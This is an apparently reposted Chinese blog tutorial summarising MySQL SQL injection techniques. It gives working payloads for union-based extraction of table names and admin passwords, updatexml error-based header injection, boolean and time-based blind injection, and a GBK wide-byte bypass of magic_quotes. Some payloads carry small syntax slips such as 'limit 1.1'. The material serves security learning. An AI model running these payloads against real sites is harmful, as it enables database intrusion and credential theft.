sql注入(总结)

sql注入产生的原因

程序开发过程中不注意书写规范,对sql语句和关键字未进行过滤

注入攻击的本质,把用户输入的数据当做代码执行

sql注入产生的条件

  1. 用户要能控制输入

  2. 输入的数据能当做代码执行

  3. 要跟数据库有交互

    Mysql注入

    get注入

一. 判断是否存在注入

传参后面加单双引号查看是数字型还是字符型(数字型不用加单双引号)
id=1’ //页面报错可能用了单引号闭合 字符型
id=2" //页面报错可能用了双引号闭合 字符型
id=2-1 //页面有变化,数字型
(如果报错可能存在注入,如果怎么都不报错可能过滤了单双引号)
第二种判断
and -1=-1 # //页面正常 #号为注释符
and -1=-2 # //页面不正常

二 .猜字段
判断有注入后,需要union进行联合查询,联合查询必须字段相同
需要使用order by 猜字段

?id=1 order by 1

三.查看输出点
order by 判断得出的字段数,用union查看输出点,有几个字段填几个

?id=1 union select 1,2,3

四.查询当前库名,数据库版本
database()//当前数据库
version()//数据库版本

?id=1 union select 1,2,database() //输出位在哪里就在哪里

五.使用自带库查询表名,字段名
mysql在5.0以上版本加入了information_schema系统自带库,保存着其他数据库的信息

查询表

?id=1 union select 1,2, table_name from information_schema.tables where table_schema=database() limit 0,1

六.查询表里面的字段

?id=1 union select 1,2,column_name from information_schema.columns where table_schema=database() and table_name=‘admin’ limit 1.1

七.查询字段里面的内容

?id =1 union select 1,2,password from admin

组合在一起输出可以使用group_concat()

post注入

post注入跟get注入本质上没有区别,只是传参的方式不一样

POST注入一般出现在:
登陆框
查询框
各种跟数据库有交互的框

Head注入

PHP中的超全局变量

$_REQUEST
$_POST
$_GET
$_COOKIE
$_SERVER(包含了头信息(header),路径,脚本位置)

$_SERVER功能强大
常用的有:

$_SERVER[‘HTTP_REFERER’] //获取referer请求头数据
$_SERVER[“HTTP_USER_AGENT”] //获取用户的相关信息,如浏览器,操作系统等信息
$_SERVER[“REMOTE_ADDR”] //浏览网页的ip

请求头里为什么会有注入

比如有的网站会记录你的ip,记录的ip要放进数据库,如果跟它前面的sql语句闭合了,就会产生sql注入
(X-Forwarded-For) 是用来识别通过HTTP代理或负载均衡方式连接到web服务器的客户端最原始的ip地址的HTTP请求头

一般在请求头里的注入不会有回显,这就需要用到报错注入

报错注入用到的函数
updatexml() //更新xml文档的函数

语法:updatexml(目标xml内容,xml文档路径,更新内容)

updatexml(1,concat(0x7e,(select database()),0x7e),1)
这里去更新了xml文档,在xml文档路径的位置写入子查询,我们输入特殊字符,然后不符合规则报错了,但是报错的时候已经执行了那个子查询
0x7e是16进制,一个特殊符号,用来报错的,使用了特殊字符不符合路径规则就会报错

uagent注入

$uagent = $_SERVER['HTTP_USER_AGENT'];
$Insql = "INSERT INTO uagent (`uagent`,`username`) VALUES ('$uagent','$uname')";

查询当前数据库

’ or updatexml(1,concat(0x7e,(select database()),0x7e),1),1) #

查询表

’ or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database()),0x7e),1),1) #

查询字段

’ or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name=‘admin’ limit 1.1),0x7e),1),1) #

盲注

盲注就是在服务器没有错误回显的时候完成的注入攻击
盲注需要掌握的几个函数:

length() 返回字符串的长度
substr() 截取字符串
ascii() 返回字符的ascii码
sleep() 延时
if(a,b,c) 判读语句,如果a正确就执行b,如果错误执行c

  • 布尔盲注
    根据注入信息返回True和False

猜当前数据库名长度

id=1 and (length(database()))>10 //判断库名长度是否大于10

利用ascii码猜当前数据库名称

id=1 and (ascii(substr(database(),1,1)))>100 //猜数据库名第一位的ascii码

猜表名

and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1)))>100 //猜数据库表名的第一个ascii码

猜字段名

and (ascii(substr((select column_name from information_schema.column where table_schema=database() and table_name=‘aaa’ limit 1,1),1,1)))>100

猜内容

and (ascii(substr((select aaa from bbb limit 0,1),1,1)))>100

  • 时间盲注
    时间盲注通过查看web页面返回的时间差来判断注入语句的正确

判断数据库名

and if(ascii(substr(database(),1,1))>100,sleep(10),0)

猜表名

and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100,sleep(10),0)

宽字节注入

PHP的防御函数 magic_quotes_gpc

magic_quotes_gpc(魔术引号)
//当php传参中有特殊字符就会再前面加转义字符"",来做一定的过滤
如单引号(’),双引号("),反斜线()等字符都会被加上反斜线

如果单引号和双引号都被转义成了字符,就无法闭合,我们数据的数据就不会被当做代码执行
就不会产生sql注入

使用GBK编码绕过
GBK编码是一种多字符编码,使用了双字节编码方案如:gbk字符 ‘運’ 的编码是%df%5c

因为(\)我们无法注入, (\)编码是%5c ,我们是不是可以用%df把%5c吃掉变成運字

如:
 id='1'
//加单引号闭合后面注释,'号会被转义
 id='1\'#'
//使用%df,\会变成一个運字,
 id='1運'#'
 //接下来就可以测试了
 id='1運' and 1=1 #'

当我们去查询字段得时候需要指定表名,需要用到’ '号不能使用%df了
我们可以使用字查询
在这里插入图片描述或者使用16进制

?id=1 union select 1,2,column_name from information_schema.columns where table_schema=database() and table_name=‘password’ limit 1.1

union select 1,2,column_name from information_schema.columns where table_schema=database() and table_name=0x70617373776f7264 limit 1.1

post注入里可以直接使用 ‘汉’ 字

猜你喜欢

转载自blog.csdn.net/weixin_45291045/article/details/108941676